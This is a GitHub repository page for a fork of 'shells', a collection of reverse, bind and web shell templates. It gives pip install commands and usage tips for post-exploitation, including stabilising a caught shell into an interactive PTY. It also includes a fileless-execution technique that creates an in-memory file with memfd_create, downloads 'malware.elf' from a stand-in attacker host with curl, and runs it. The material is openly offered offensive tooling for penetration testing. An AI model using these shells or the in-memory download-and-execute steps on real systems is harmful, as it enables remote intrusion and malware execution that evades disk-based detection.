Skip to content
/ shells Public
forked from dadevel/shells

Collection of Reverse, Bind & Web Shells

License

Notifications You must be signed in to change notification settings

mabie/shells

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

28 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Shells

Demo

A collection of reverse, bind and web shells from all over the internet.

Setup

a) With pipx.

pipx install git+https://github.com/dadevel/shells.git@main

b) With pip.

pip install --user git+https://github.com/dadevel/shells.git@main

Usage

Just run getshell and select one of the many templates.

Some advanced templates require manual steps:

Tips

Metasploit payloads like windows/shell_reverse_tcp are one of the few reverse shells for Windows that support interactive commands.

Linux PTY

Spawn a PTY and stabilize your shell with Python.

python -c 'import pty;pty.spawn("/bin/bash")'
# ctrl+z
echo "stty sane;stty rows $LINES cols $COLUMNS;export TERM=xterm;" | xclip -sel clip
stty raw -echo && fg
# paste clipboard and press enter

Alternatively spawn a PTY with script.

script -q -c /bin/bash /dev/null

Linux memfd_create()

Create file in memory with Python 3.8 or newer (source).

$ python3 -c "from os import*;fork()or(setsid(),print(f'/proc/{getpid()}/fd/{memfd_create(sep)}'),kill(0,19))"
/proc/139856/fd/3
$ curl -o /proc/139856/fd/3 https://attacker.com/malware.elf
$ /proc/139856/fd/3

Other interesting tools

  • Kraken, multi-language webshell
  • xc, reverse shell for Linux and Windows written in Go

About

Collection of Reverse, Bind & Web Shells

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • ASP.NET 21.7%
  • PHP 13.8%
  • Python 12.1%
  • Java 11.9%
  • Shell 9.3%
  • Perl 7.4%
  • Other 23.8%